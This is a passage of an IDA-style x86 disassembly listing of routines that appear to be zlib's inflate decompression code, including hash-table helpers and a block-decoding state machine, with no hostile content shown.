mov eax, [eax+ecx*4]
mov [ebp+var_4], eax
loc_50B9DA: ; CODE XREF: sub_50B9B1+52j
cmp [ebp+var_4], 0
jz short loc_50BA05
push [ebp+arg_0]
mov eax, [ebp+var_4]
push dword ptr [eax+4]
call [ebp+arg_8]
test eax, eax
jnz short loc_50B9FA
mov eax, [ebp+var_4]
mov ecx, [ebp+arg_4]
mov [eax], ecx
jmp short loc_50BA62
; ---------------------------------------------------------------------------
loc_50B9FA: ; CODE XREF: sub_50B9B1+3Dj
mov eax, [ebp+var_4]
mov eax, [eax+8]
mov [ebp+var_4], eax
jmp short loc_50B9DA
; ---------------------------------------------------------------------------
loc_50BA05: ; CODE XREF: sub_50B9B1+2Dj
push 0Ch
call sub_50835A
pop ecx
mov [ebp+var_C], eax
cmp [ebp+var_C], 0
jz short loc_50BA26
xor eax, eax
mov edi, [ebp+var_C]
stosd
stosd
stosd
mov eax, [ebp+var_C]
mov [ebp+var_14], eax
jmp short loc_50BA2A
; ---------------------------------------------------------------------------
loc_50BA26: ; CODE XREF: sub_50B9B1+63j
and [ebp+var_14], 0
loc_50BA2A: ; CODE XREF: sub_50B9B1+73j
mov eax, [ebp+var_14]
mov [ebp+var_4], eax
mov eax, [ebp+var_4]
mov ecx, [ebp+arg_0]
mov [eax+4], ecx
mov eax, [ebp+var_4]
mov ecx, [ebp+arg_4]
mov [eax], ecx
mov eax, [ebp+var_10]
mov eax, [eax+8]
mov ecx, [ebp+var_4]
mov edx, [ebp+var_8]
mov eax, [eax+edx*4]
mov [ecx+8], eax
mov eax, [ebp+var_10]
mov eax, [eax+8]
mov ecx, [ebp+var_8]
mov edx, [ebp+var_4]
mov [eax+ecx*4], edx
loc_50BA62: ; CODE XREF: sub_50B9B1+47j
pop edi
leave
retn 10h
sub_50B9B1 endp
; =============== S U B R O U T I N E =======================================
; Attributes: bp-based frame
sub_50BA67 proc near ; CODE XREF: sub_5046D0+6Fp
var_4 = dword ptr -4
push ebp
mov ebp, esp
push ecx
mov [ebp+var_4], ecx
mov eax, [ebp+var_4]
and dword ptr [eax+4], 0
mov eax, [ebp+var_4]
and dword ptr [eax+0Ch], 0
leave
retn
sub_50BA67 endp
; =============== S U B R O U T I N E =======================================
; Attributes: bp-based frame
sub_50BA7E proc near ; CODE XREF: sub_5046D0+82p
var_4 = dword ptr -4
arg_0 = dword ptr 8
arg_4 = dword ptr 0Ch
push ebp
mov ebp, esp
push ecx
mov [ebp+var_4], ecx
loc_50BA85: ; CODE XREF: sub_50BA7E+5Dj
mov eax, [ebp+var_4]
mov ecx, [ebp+var_4]
mov eax, [eax+4]
cmp eax, [ecx]
jb short loc_50BA96
xor al, al
jmp short locret_50BAFA
; ---------------------------------------------------------------------------
loc_50BA96: ; CODE XREF: sub_50BA7E+12j
mov eax, [ebp+var_4]
cmp dword ptr [eax+0Ch], 0
jnz short loc_50BAB6
mov eax, [ebp+var_4]
mov eax, [eax+4]
mov ecx, [ebp+var_4]
mov ecx, [ecx+8]
mov edx, [ebp+var_4]
mov eax, [ecx+eax*4]
mov [edx+0Ch], eax
jmp short loc_50BAC5
; ---------------------------------------------------------------------------
loc_50BAB6: ; CODE XREF: sub_50BA7E+1Fj
mov eax, [ebp+var_4]
mov eax, [eax+0Ch]
mov ecx, [ebp+var_4]
mov eax, [eax+8]
mov [ecx+0Ch], eax
loc_50BAC5: ; CODE XREF: sub_50BA7E+36j
mov eax, [ebp+var_4]
cmp dword ptr [eax+0Ch], 0
jnz short loc_50BADD
mov eax, [ebp+var_4]
mov eax, [eax+4]
inc eax
mov ecx, [ebp+var_4]
mov [ecx+4], eax
jmp short loc_50BA85
; ---------------------------------------------------------------------------
loc_50BADD: ; CODE XREF: sub_50BA7E+4Ej
mov eax, [ebp+var_4]
mov eax, [eax+0Ch]
mov ecx, [ebp+arg_0]
mov eax, [eax+4]
mov [ecx], eax
mov eax, [ebp+var_4]
mov eax, [eax+0Ch]
mov ecx, [ebp+arg_4]
mov eax, [eax]
mov [ecx], eax
mov al, 1
locret_50BAFA: ; CODE XREF: sub_50BA7E+16j
leave
retn 8
sub_50BA7E endp
; =============== S U B R O U T I N E =======================================
; Attributes: bp-based frame
sub_50BAFE proc near ; DATA XREF: sub_50B871+7o
; sub_50B8E0+7o ...
arg_0 = dword ptr 8
arg_4 = dword ptr 0Ch
push ebp
mov ebp, esp
mov eax, [ebp+arg_0]
xor edx, edx
div [ebp+arg_4]
mov eax, edx
pop ebp
retn
sub_50BAFE endp
; =============== S U B R O U T I N E =======================================
; Attributes: bp-based frame
sub_50BB0D proc near ; DATA XREF: sub_5058CF+Co
; sub_505BD7+1EDo ...
var_8 = dword ptr -8
var_4 = dword ptr -4
arg_0 = dword ptr 8
arg_4 = dword ptr 0Ch
push ebp
mov ebp, esp
push ecx
push ecx
and [ebp+var_8], 0
mov eax, [ebp+arg_0]
mov [ebp+var_4], eax
cmp [ebp+var_4], 0
jz short loc_50BB47
jmp short loc_50BB2B
; ---------------------------------------------------------------------------
loc_50BB24: ; CODE XREF: sub_50BB0D+38j
mov eax, [ebp+var_4]
inc eax
mov [ebp+var_4], eax
loc_50BB2B: ; CODE XREF: sub_50BB0D+15j
mov eax, [ebp+var_4]
movzx eax, byte ptr [eax]
test eax, eax
jz short loc_50BB47
mov eax, [ebp+var_8]
shl eax, 1
mov ecx, [ebp+var_4]
movzx ecx, byte ptr [ecx]
or eax, ecx
mov [ebp+var_8], eax
jmp short loc_50BB24
; ---------------------------------------------------------------------------
loc_50BB47: ; CODE XREF: sub_50BB0D+13j
; sub_50BB0D+26j
mov eax, [ebp+var_8]
xor edx, edx
div [ebp+arg_4]
mov eax, edx
leave
retn
sub_50BB0D endp
; =============== S U B R O U T I N E =======================================
; Attributes: bp-based frame
sub_50BB53 proc near ; CODE XREF: sub_50BBBF+7Dp
; sub_50C5B0+Fp ...
arg_0 = dword ptr 8
arg_4 = dword ptr 0Ch
arg_8 = dword ptr 10h
push ebp
mov ebp, esp
mov eax, [ebp+arg_8]
push ebx
xor ebx, ebx
push esi
mov esi, [ebp+arg_0]
cmp eax, ebx
push edi
jz short loc_50BB6A
mov ecx, [esi+3Ch]
mov [eax], ecx
loc_50BB6A: ; CODE XREF: sub_50BB53+10j
mov eax, [esi]
mov edi, [ebp+arg_4]
cmp eax, 4
jz short loc_50BB79
cmp eax, 5
jnz short loc_50BB84
loc_50BB79: ; CODE XREF: sub_50BB53+1Fj
push dword ptr [esi+0Ch]
push dword ptr [edi+28h]
call dword ptr [edi+24h]
pop ecx
pop ecx
loc_50BB84: ; CODE XREF: sub_50BB53+24j
cmp dword ptr [esi], 6
jnz short loc_50BB94
push edi
push dword ptr [esi+4]
call sub_50CBD8
pop ecx
pop ecx
loc_50BB94: ; CODE XREF: sub_50BB53+34j
mov eax, [esi+28h]
mov [esi], ebx
mov [esi+34h], eax
mov [esi+30h], eax
mov eax, [esi+38h]
mov [esi+1Ch], ebx
cmp eax, ebx
mov [esi+20h], ebx
jz short loc_50BBBA
push ebx
push ebx
push ebx
call eax
mov [esi+3Ch], eax
add esp, 0Ch
mov [edi+30h], eax
loc_50BBBA: ; CODE XREF: sub_50BB53+57j
pop edi
pop esi
pop ebx
pop ebp
retn
sub_50BB53 endp
; =============== S U B R O U T I N E =======================================
; Attributes: bp-based frame
sub_50BBBF proc near ; CODE XREF: sub_50CF41+AFp
arg_0 = dword ptr 8
arg_4 = dword ptr 0Ch
arg_8 = dword ptr 10h
push ebp
mov ebp, esp
push ebx
push esi
mov esi, [ebp+arg_0]
push edi
push 40h
push 1
push dword ptr [esi+28h]
call dword ptr [esi+20h]
mov edi, eax
add esp, 0Ch
test edi, edi
jz short loc_50BC26
push 5A0h
push 8
push dword ptr [esi+28h]
call dword ptr [esi+20h]
add esp, 0Ch
mov [edi+24h], eax
test eax, eax
jnz short loc_50BBFD
push edi
push dword ptr [esi+28h]
call dword ptr [esi+24h]
pop ecx
pop ecx
jmp short loc_50BC26
; ---------------------------------------------------------------------------
loc_50BBFD: ; CODE XREF: sub_50BBBF+31j
mov ebx, [ebp+arg_8]
push ebx
push 1
push dword ptr [esi+28h]
call dword ptr [esi+20h]
add esp, 0Ch
mov [edi+28h], eax
test eax, eax
jnz short loc_50BC2A
push dword ptr [edi+24h]
push dword ptr [esi+28h]
call dword ptr [esi+24h]
push edi
push dword ptr [esi+28h]
call dword ptr [esi+24h]
add esp, 10h
loc_50BC26: ; CODE XREF: sub_50BBBF+1Aj
; sub_50BBBF+3Cj
xor eax, eax
jmp short loc_50BC46
; ---------------------------------------------------------------------------
loc_50BC2A: ; CODE XREF: sub_50BBBF+52j
and dword ptr [edi], 0
add eax, ebx
mov [edi+2Ch], eax
mov eax, [ebp+arg_4]
push 0
push esi
push edi
mov [edi+38h], eax
call sub_50BB53
add esp, 0Ch
mov eax, edi
loc_50BC46: ; CODE XREF: sub_50BBBF+69j
pop edi
pop esi
pop ebx
pop ebp
retn
sub_50BBBF endp
; =============== S U B R O U T I N E =======================================
; Attributes: bp-based frame
sub_50BC4B proc near ; CODE XREF: sub_50D043+11Bp
var_30 = dword ptr -30h
var_2C = dword ptr -2Ch
var_28 = dword ptr -28h
var_24 = dword ptr -24h
var_20 = dword ptr -20h
var_1C = dword ptr -1Ch
var_18 = dword ptr -18h
var_14 = dword ptr -14h
var_10 = dword ptr -10h
var_C = dword ptr -0Ch
var_8 = dword ptr -8
var_4 = dword ptr -4
arg_0 = dword ptr 8
arg_4 = dword ptr 0Ch
arg_8 = dword ptr 10h
push ebp
mov ebp, esp
sub esp, 30h
mov eax, [ebp+arg_4]
push ebx
mov ebx, [ebp+arg_0]
push esi
mov ecx, [eax]
mov eax, [eax+4]
mov [ebp+var_8], eax
mov eax, [ebx+20h]
mov [ebp+arg_0], eax
mov eax, [ebx+1Ch]
mov [ebp+var_10], ecx
mov ecx, [ebx+34h]
mov [ebp+var_4], eax
mov eax, [ebx+30h]
cmp ecx, eax
push edi
mov [ebp+var_C], ecx
jnb short loc_50BC83
sub eax, ecx
dec eax
jmp short loc_50BC88
; ---------------------------------------------------------------------------
loc_50BC83: ; CODE XREF: sub_50BC4B+31j
mov eax, [ebx+2Ch]
sub eax, ecx
loc_50BC88: ; CODE XREF: sub_50BC4B+36j
mov [ebp+var_14], eax
loc_50BC8B: ; CODE XREF: sub_50BC4B+ADj
; sub_50BC4B+10Bj ...
mov eax, [ebx]
cmp eax, 9 ; switch 10 cases
ja loc_50C550 ; default
jmp ds:off_50C588[eax*4] ; switch jump
loc_50BC9D: ; DATA XREF: _5:off_50C588o
mov edi, [ebp+var_4] ; jumptable 0050BC96 case 0
mov esi, [ebp+arg_0]
mov edx, [ebp+var_10]
cmp edi, 3
jnb short loc_50BCD7
loc_50BCAB: ; CODE XREF: sub_50BC4B+8Aj
cmp [ebp+var_8], 0
jz loc_50C28C
movzx eax, byte ptr [edx]
and [ebp+arg_8], 0
dec [ebp+var_8]
mov ecx, edi
add edi, 8
shl eax, cl
mov [ebp+var_4], edi
or esi, eax
inc edx
cmp edi, 3
mov [ebp+arg_0], esi
mov [ebp+var_10], edx
jb short loc_50BCAB
loc_50BCD7: ; CODE XREF: sub_50BC4B+5Ej
mov eax, esi
and eax, 7
mov ecx, eax
shr eax, 1
and ecx, 1
sub eax, 0
mov [ebx+18h], ecx
jz short loc_50BD5B
dec eax
jz short loc_50BD0D
dec eax
jz short loc_50BCFA
dec eax
jz loc_50C2A7
jmp short loc_50BC8B
; ---------------------------------------------------------------------------
loc_50BCFA: ; CODE XREF: sub_50BC4B+A4j
push 3
pop eax
shr esi, 3
sub edi, eax
mov [ebp+arg_0], esi
mov [ebp+var_4], edi
jmp loc_50BDE7
; ---------------------------------------------------------------------------
loc_50BD0D: ; CODE XREF: sub_50BC4B+A1j
mov edi, [ebp+arg_4]
lea eax, [ebp+var_1C]
push edi
push eax
lea eax, [ebp+var_20]
push eax
lea eax, [ebp+var_24]
push eax
lea eax, [ebp+var_28]
push eax
call sub_50D8AF
push edi
push [ebp+var_1C]
push [ebp+var_20]
push [ebp+var_24]
push [ebp+var_28]
call sub_50C5E6
add esp, 28h
mov [ebx+4], eax
test eax, eax
jz loc_50C2D7
shr esi, 3
sub [ebp+var_4], 3
mov [ebp+arg_0], esi
mov dword ptr [ebx], 6
jmp loc_50BC8B
; ---------------------------------------------------------------------------
loc_50BD5B: ; CODE XREF: sub_50BC4B+9Ej
sub edi, 3
mov dword ptr [ebx], 1
mov ecx, edi
and ecx, 7
shr esi, 3
shr esi, cl
sub edi, ecx
mov [ebp+var_4], edi
mov [ebp+arg_0], esi
jmp loc_50BC8B
; ---------------------------------------------------------------------------
loc_50BD7B: ; CODE XREF: sub_50BC4B+4Bj
; DATA XREF: _5:off_50C588o
mov ecx, [ebp+var_4] ; jumptable 0050BC96 case 1
mov esi, [ebp+arg_0]
cmp ecx, 20h
jnb short loc_50BDAF
mov edx, [ebp+var_10]
xor edi, edi
loc_50BD8B: ; CODE XREF: sub_50BC4B+160j
cmp [ebp+var_8], edi
jz loc_50C300
movzx eax, byte ptr [edx]
dec [ebp+var_8]
mov [ebp+arg_8], edi
shl eax, cl
add ecx, 8
or esi, eax
inc edx
cmp ecx, 20h
mov [ebp+var_10], edx
jb short loc_50BD8B
jmp short loc_50BDB2
; ---------------------------------------------------------------------------
loc_50BDAF: ; CODE XREF: sub_50BC4B+139j
mov edx, [ebp+var_10]
loc_50BDB2: ; CODE XREF: sub_50BC4B+162j
mov edi, esi
mov eax, esi
not edi
and eax, 0FFFFh
shr edi, 10h
xor edi, eax
jnz loc_50C30E
mov [ebx+4], eax
xor eax, eax
cmp [ebx+4], eax
mov [ebp+var_4], eax
mov [ebp+arg_0], eax
jz short loc_50BDDD
push 2
pop eax
jmp short loc_50BDE7
; ---------------------------------------------------------------------------
loc_50BDDD: ; CODE XREF: sub_50BC4B+18Bj
; sub_50BC4B+288j
mov eax, [ebx+18h]
neg eax
sbb eax, eax
and eax, 7
loc_50BDE7: ; CODE XREF: sub_50BC4B+BDj
; sub_50BC4B+190j
mov [ebx], eax
jmp loc_50BC8B
; ---------------------------------------------------------------------------
loc_50BDEE: ; CODE XREF: sub_50BC4B+4Bj
; DATA XREF: _5:off_50C588o
cmp [ebp+var_8], 0 ; jumptable 0050BC96 case 2
jz loc_50C326
mov ecx, [ebp+var_14]
test ecx, ecx
jnz loc_50BE93
mov ecx, [ebx+2Ch]
mov edx, [ebp+var_C]
cmp edx, ecx
jnz short loc_50BE30
mov eax, [ebx+30h]
mov esi, [ebx+28h]
cmp eax, esi
jz short loc_50BE30
mov edx, esi
cmp edx, eax
mov [ebp+var_C], edx
jnb short loc_50BE27
sub eax, edx
dec eax
mov ecx, eax
jmp short loc_50BE29
; ---------------------------------------------------------------------------
loc_50BE27: ; CODE XREF: sub_50BC4B+1D3j
sub ecx, edx
loc_50BE29: ; CODE XREF: sub_50BC4B+1DAj
test ecx, ecx
mov [ebp+var_14], ecx
jnz short loc_50BE93
loc_50BE30: ; CODE XREF: sub_50BC4B+1C0j
; sub_50BC4B+1CAj
push [ebp+arg_8]
mov esi, [ebp+arg_4]
mov [ebx+34h], edx
push esi
push ebx
call sub_50D8DE
mov edx, [ebx+34h]
mov [ebp+arg_8], eax
mov eax, [ebx+30h]
add esp, 0Ch
cmp edx, eax
mov [ebp+var_C], edx
jnb short loc_50BE5A
mov ecx, eax
sub ecx, edx
dec ecx
jmp short loc_50BE5F
; ---------------------------------------------------------------------------
loc_50BE5A: ; CODE XREF: sub_50BC4B+206j
mov ecx, [ebx+2Ch]
sub ecx, edx
loc_50BE5F: ; CODE XREF: sub_50BC4B+20Dj
mov edi, [ebx+2Ch]
mov [ebp+var_14], ecx
cmp edx, edi
mov [ebp+var_18], edi
jnz short loc_50BE8B
mov edi, [ebx+28h]
cmp eax, edi
jz short loc_50BE8B
mov edx, edi
cmp edx, eax
mov [ebp+var_C], edx
jnb short loc_50BE83
sub eax, edx
dec eax
mov ecx, eax
jmp short loc_50BE88
; ---------------------------------------------------------------------------
loc_50BE83: ; CODE XREF: sub_50BC4B+22Fj
mov ecx, [ebp+var_18]
sub ecx, edx
loc_50BE88: ; CODE XREF: sub_50BC4B+236j
mov [ebp+var_14], ecx
loc_50BE8B: ; CODE XREF: sub_50BC4B+21Fj
; sub_50BC4B+226j
test ecx, ecx
jz loc_50C347
loc_50BE93: ; CODE XREF: sub_50BC4B+1B2j
; sub_50BC4B+1E3j
mov eax, [ebx+4]
and [ebp+arg_8], 0
cmp eax, [ebp+var_8]
jbe short loc_50BEA2
mov eax, [ebp+var_8]
loc_50BEA2: ; CODE XREF: sub_50BC4B+252j
cmp eax, ecx
jbe short loc_50BEA8
mov eax, ecx
loc_50BEA8: ; CODE XREF: sub_50BC4B+259j
mov esi, [ebp+var_10]
mov edi, [ebp+var_C]
mov ecx, eax
add [ebp+var_10], eax
mov edx, ecx
sub [ebp+var_8], eax
shr ecx, 2
rep movsd
add [ebp+var_C], eax
sub [ebp+var_14], eax
mov ecx, edx
and ecx, 3
rep movsb
sub [ebx+4], eax
jnz loc_50BC8B
jmp loc_50BDDD
; ---------------------------------------------------------------------------
loc_50BED8: ; CODE XREF: sub_50BC4B+4Bj
; DATA XREF: _5:off_50C588o
mov ecx, [ebp+var_4] ; jumptable 0050BC96 case 3
mov edi, [ebp+var_10]
cmp ecx, 0Eh
jnb short loc_50BF08
loc_50BEE3: ; CODE XREF: sub_50BC4B+2BBj
cmp [ebp+var_8], 0
jz loc_50C370
movzx eax, byte ptr [edi]
and [ebp+arg_8], 0
dec [ebp+var_8]
shl eax, cl
add ecx, 8
mov [ebp+var_4], ecx
or [ebp+arg_0], eax
inc edi
cmp ecx, 0Eh
jb short loc_50BEE3
loc_50BF08: ; CODE XREF: sub_50BC4B+296j
mov eax, [ebp+arg_0]
and eax, 3FFFh
mov ecx, eax
mov [ebx+4], eax
and ecx, 1Fh
cmp ecx, 1Dh
ja loc_50C3C2
mov edx, eax
and edx, 3E0h
cmp edx, 3A0h
ja loc_50C3C2
mov esi, [ebp+arg_4]
push 4
shr eax, 5
and eax, 1Fh
lea eax, [eax+ecx+102h]
push eax
push dword ptr [esi+28h]
call dword ptr [esi+20h]
add esp, 0Ch
mov [ebx+0Ch], eax
test eax, eax
jz loc_50C39A
shr [ebp+arg_0], 0Eh
sub [ebp+var_4], 0Eh
and dword ptr [ebx+8], 0
mov dword ptr [ebx], 4
jmp short loc_50BF76
; ---------------------------------------------------------------------------
loc_50BF70: ; CODE XREF: sub_50BC4B+4Bj
; DATA XREF: _5:off_50C588o
mov edi, [ebp+var_10] ; jumptable 0050BC96 case 4
mov esi, [ebp+arg_4]
loc_50BF76: ; CODE XREF: sub_50BC4B+323j
mov eax, [ebx+4]
shr eax, 0Ah
add eax, 4
cmp [ebx+8], eax
jnb short loc_50BFDF
loc_50BF84: ; CODE XREF: sub_50BC4B+392j
mov ecx, [ebp+var_4]
loc_50BF87: ; CODE XREF: sub_50BC4B+361j
cmp ecx, 3
jnb short loc_50BFAE
cmp [ebp+var_8], 0
jz loc_50C432
movzx eax, byte ptr [edi]
and [ebp+arg_8], 0
dec [ebp+var_8]
shl eax, cl
or [ebp+arg_0], eax
inc edi
add ecx, 8
mov [ebp+var_4], ecx
jmp short loc_50BF87
; ---------------------------------------------------------------------------
loc_50BFAE: ; CODE XREF: sub_50BC4B+33Fj
mov ecx, [ebx+8]
mov eax, [ebp+arg_0]
mov edx, [ebx+0Ch]
and eax, 7
mov ecx, ds:dword_50E060[ecx*4]
sub [ebp+var_4], 3
shr [ebp+arg_0], 3
mov [edx+ecx*4], eax
mov ecx, [ebx+4]
inc dword ptr [ebx+8]
mov eax, [ebx+8]
shr ecx, 0Ah
add ecx, 4
cmp eax, ecx
jb short loc_50BF84
loc_50BFDF: ; CODE XREF: sub_50BC4B+337j
; sub_50BC4B+3AEj
cmp dword ptr [ebx+8], 13h
jnb short loc_50BFFB
mov eax, [ebx+8]
mov ecx, [ebx+0Ch]
mov eax, ds:dword_50E060[eax*4]
and dword ptr [ecx+eax*4], 0
inc dword ptr [ebx+8]
jmp short loc_50BFDF
; ---------------------------------------------------------------------------
loc_50BFFB: ; CODE XREF: sub_50BC4B+398j
push esi
lea ecx, [ebx+14h]
push dword ptr [ebx+24h]
lea eax, [ebx+10h]
push ecx
push eax
push dword ptr [ebx+0Ch]
mov dword ptr [eax], 7
call sub_50D3A6
add esp, 14h
mov [ebp+var_14], eax
test eax, eax
jnz loc_50C3F2
and [ebx+8], eax
mov dword ptr [ebx], 5
jmp short loc_50C034
; ---------------------------------------------------------------------------
loc_50C02E: ; CODE XREF: sub_50BC4B+4Bj
; DATA XREF: _5:off_50C588o
mov edi, [ebp+var_10] ; jumptable 0050BC96 case 5
mov esi, [ebp+arg_4]
loc_50C034: ; CODE XREF: sub_50BC4B+3E1j
; sub_50BC4B+46Bj ...
mov eax, [ebx+4]
mov ecx, [ebx+8]
mov edx, eax
and eax, 1Fh
shr edx, 5
and edx, 1Fh
lea eax, [edx+eax+102h]
cmp ecx, eax
jnb loc_50C178
mov eax, [ebx+10h]
loc_50C057: ; CODE XREF: sub_50BC4B+432j
cmp [ebp+var_4], eax
jnb short loc_50C07F
cmp [ebp+var_8], 0
jz loc_50C432
movzx edx, byte ptr [edi]
mov ecx, [ebp+var_4]
and [ebp+arg_8], 0
dec [ebp+var_8]
shl edx, cl
or [ebp+arg_0], edx
inc edi
add [ebp+var_4], 8
jmp short loc_50C057
; ---------------------------------------------------------------------------
loc_50C07F: ; CODE XREF: sub_50BC4B+40Fj
mov eax, ds:dword_510318[eax*4]
mov ecx, [ebx+14h]
and eax, [ebp+arg_0]
mov edx, [ecx+eax*8+4]
lea eax, [ecx+eax*8]
cmp edx, 10h
mov [ebp+var_18], edx
movzx ecx, byte ptr [eax+1]
mov [ebp+var_14], ecx
jnb short loc_50C0BB
shr [ebp+arg_0], cl
mov eax, ecx
mov ecx, [ebx+0Ch]
sub [ebp+var_4], eax
mov eax, [ebx+8]
mov [ecx+eax*4], edx
inc dword ptr [ebx+8]
jmp loc_50C034
; ---------------------------------------------------------------------------
loc_50C0BB: ; CODE XREF: sub_50BC4B+455j
cmp edx, 12h
jnz short loc_50C0C5
push 7
pop eax
jmp short loc_50C0C8
; ---------------------------------------------------------------------------
loc_50C0C5: ; CODE XREF: sub_50BC4B+473j
lea eax, [edx-0Eh]
loc_50C0C8: ; CODE XREF: sub_50BC4B+478j
xor ecx, ecx
cmp edx, 12h
setnz cl
dec ecx
and ecx, 8
add ecx, 3
mov [ebp+var_10], ecx
loc_50C0DA: ; CODE XREF: sub_50BC4B+4BBj
mov ecx, [ebp+var_14]
lea edx, [eax+ecx]
cmp [ebp+var_4], edx
jnb short loc_50C108
cmp [ebp+var_8], 0
jz loc_50C432
movzx edx, byte ptr [edi]
mov ecx, [ebp+var_4]
and [ebp+arg_8], 0
dec [ebp+var_8]
shl edx, cl
or [ebp+arg_0], edx
inc edi
add [ebp+var_4], 8
jmp short loc_50C0DA
; ---------------------------------------------------------------------------
loc_50C108: ; CODE XREF: sub_50BC4B+498j
shr [ebp+arg_0], cl
mov ecx, ds:dword_510318[eax*4]
and ecx, [ebp+arg_0]
add [ebp+var_10], ecx
mov ecx, eax
shr [ebp+arg_0], cl
mov ecx, [ebp+var_14]
add eax, ecx
mov ecx, [ebx+8]
sub [ebp+var_4], eax
mov eax, [ebx+4]
mov edx, eax
and eax, 1Fh
shr edx, 5
and edx, 1Fh
lea eax, [edx+eax+102h]
mov edx, [ebp+var_10]
add edx, ecx
cmp edx, eax
ja loc_50C456
cmp [ebp+var_18], 10h
jnz short loc_50C162
cmp ecx, 1
jb loc_50C456
mov eax, [ebx+0Ch]
mov eax, [eax+ecx*4-4]
jmp short loc_50C164
; ---------------------------------------------------------------------------
loc_50C162: ; CODE XREF: sub_50BC4B+503j
xor eax, eax
loc_50C164: ; CODE XREF: sub_50BC4B+515j
; sub_50BC4B+523j
mov edx, [ebx+0Ch]
mov [edx+ecx*4], eax
inc ecx
dec [ebp+var_10]
jnz short loc_50C164
mov [ebx+8], ecx
jmp loc_50C034
; ---------------------------------------------------------------------------
loc_50C178: ; CODE XREF: sub_50BC4B+403j
push esi
lea ecx, [ebp+var_2C]
push dword ptr [ebx+24h]
mov eax, [ebx+4]
and dword ptr [ebx+14h], 0
mov [ebp+var_18], 9
push ecx
lea ecx, [ebp+var_30]
push ecx
lea ecx, [ebp+var_10]
push ecx
lea ecx, [ebp+var_18]
push ecx
mov ecx, eax
push dword ptr [ebx+0Ch]
and eax, 1Fh
shr ecx, 5
and ecx, 1Fh
add eax, 101h
inc ecx
mov [ebp+var_10], 6
push ecx
push eax
call sub_50D7AC
add esp, 24h
mov [ebp+var_14], eax
test eax, eax
jnz loc_50C49E
push esi
push [ebp+var_2C]
push [ebp+var_30]
push [ebp+var_10]
push [ebp+var_18]
call sub_50C5E6
add esp, 14h
test eax, eax
jz loc_50C39A
push dword ptr [ebx+0Ch]
mov [ebx+4], eax
push dword ptr [esi+28h]
call dword ptr [esi+24h]
pop ecx
mov dword ptr [ebx], 6
pop ecx
jmp short loc_50C203
; ---------------------------------------------------------------------------
loc_50C1FD: ; CODE XREF: sub_50BC4B+4Bj
; DATA XREF: _5:off_50C588o
mov edi, [ebp+var_10] ; jumptable 0050BC96 case 6
mov esi, [ebp+arg_4]
loc_50C203: ; CODE XREF: sub_50BC4B+5B0j
mov eax, [ebp+arg_0]
push [ebp+arg_8]
mov [ebx+20h], eax
mov eax, [ebp+var_4]
mov [ebx+1Ch], eax
mov eax, [ebp+var_8]
mov [esi+4], eax
mov eax, edi
sub eax, [esi]
push esi
mov [esi], edi
push ebx
add [esi+8], eax
mov eax, [ebp+var_C]
mov [ebx+34h], eax
call sub_50C61A
add esp, 0Ch
cmp eax, 1
jnz loc_50C4EE
and [ebp+arg_8], 0
push esi
push dword ptr [ebx+4]
call sub_50CBD8
mov eax, [esi+4]
mov edi, [esi]
mov [ebp+var_8], eax
mov eax, [ebx+20h]
pop ecx
mov [ebp+arg_0], eax
mov eax, [ebx+1Ch]
pop ecx
mov ecx, [ebx+34h]
mov [ebp+var_4], eax
mov eax, [ebx+30h]
mov [ebp+var_10], edi
cmp ecx, eax
mov [ebp+var_C], ecx
jnb short loc_50C272
sub eax, ecx
dec eax
jmp short loc_50C277
; ---------------------------------------------------------------------------
loc_50C272: ; CODE XREF: sub_50BC4B+620j
mov eax, [ebx+2Ch]
sub eax, ecx
loc_50C277: ; CODE XREF: sub_50BC4B+625j
cmp dword ptr [ebx+18h], 0
mov [ebp+var_14], eax
jnz loc_50C4A7
and dword ptr [ebx], 0
jmp loc_50BC8B
; ---------------------------------------------------------------------------
loc_50C28C: ; CODE XREF: sub_50BC4B+64j
mov eax, [ebp+arg_4]
mov [ebx+20h], esi
mov [ebx+1Ch], edi
and dword ptr [eax+4], 0
loc_50C299: ; CODE XREF: sub_50BC4B+6C1j
mov ecx, edx
sub ecx, [eax]
mov [eax], edx
add [eax+8], ecx
jmp loc_50C38C
; ---------------------------------------------------------------------------
loc_50C2A7: ; CODE XREF: sub_50BC4B+A7j
mov eax, [ebp+arg_4]
mov dword ptr [ebx], 9
shr esi, 3
add edi, 0FFFFFFFDh
mov dword ptr [eax+18h], offset aInvalidBlockTy ; "invalid block type"
mov [ebx+20h], esi
mov [ebx+1Ch], edi
loc_50C2C3: ; CODE XREF: sub_50BC4B+6D9j
mov ecx, [ebp+var_8]
mov [eax+4], ecx
mov ecx, edx
sub ecx, [eax]
mov [eax], edx
add [eax+8], ecx
jmp loc_50C546
; ---------------------------------------------------------------------------
loc_50C2D7: ; CODE XREF: sub_50BC4B+F5j
mov eax, [ebp+var_4]
mov [ebx+20h], esi
mov [ebx+1Ch], eax
mov eax, [ebp+var_8]
mov [edi+4], eax
mov eax, [ebp+var_10]
mov ecx, eax
push 0FFFFFFFCh
sub ecx, [edi]
mov [edi], eax
mov eax, [ebp+var_C]
push edi
add [edi+8], ecx
mov [ebx+34h], eax
jmp loc_50C57A
; ---------------------------------------------------------------------------
loc_50C300: ; CODE XREF: sub_50BC4B+143j
mov eax, [ebp+arg_4]
mov [ebx+20h], esi
mov [ebx+1Ch], ecx
mov [eax+4], edi
jmp short loc_50C299
; ---------------------------------------------------------------------------
loc_50C30E: ; CODE XREF: sub_50BC4B+177j
mov eax, [ebp+arg_4]
mov dword ptr [ebx], 9
mov dword ptr [eax+18h], offset aInvalidStoredB ; "invalid stored block lengths"
mov [ebx+20h], esi
mov [ebx+1Ch], ecx
jmp short loc_50C2C3
; ---------------------------------------------------------------------------
loc_50C326: ; CODE XREF: sub_50BC4B+1A7j
mov eax, [ebp+arg_0]
mov ecx, [ebp+var_10]
mov [ebx+20h], eax
mov eax, [ebp+var_4]
mov [ebx+1Ch], eax
mov eax, [ebp+arg_4]
mov edx, ecx
sub edx, [eax]
and dword ptr [eax+4], 0
mov [eax], ecx
add [eax+8], edx
jmp short loc_50C38C
; ---------------------------------------------------------------------------
loc_50C347: ; CODE XREF: sub_50BC4B+242j
mov eax, [ebp+arg_0]
mov [ebx+20h], eax
mov eax, [ebp+var_4]
mov [ebx+1Ch], eax
mov eax, [ebp+var_8]
mov [esi+4], eax
mov eax, [ebp+var_10]
mov ecx, eax
sub ecx, [esi]
mov [esi], eax
add [esi+8], ecx
mov [ebx+34h], edx
loc_50C368: ; CODE XREF: sub_50BC4B+806j
push [ebp+arg_8]
jmp loc_50C522
; ---------------------------------------------------------------------------
loc_50C370: ; CODE XREF: sub_50BC4B+29Cj
mov eax, [ebp+arg_0]
mov ecx, edi
mov [ebx+20h], eax
mov eax, [ebp+var_4]
mov [ebx+1Ch], eax
mov eax, [ebp+arg_4]
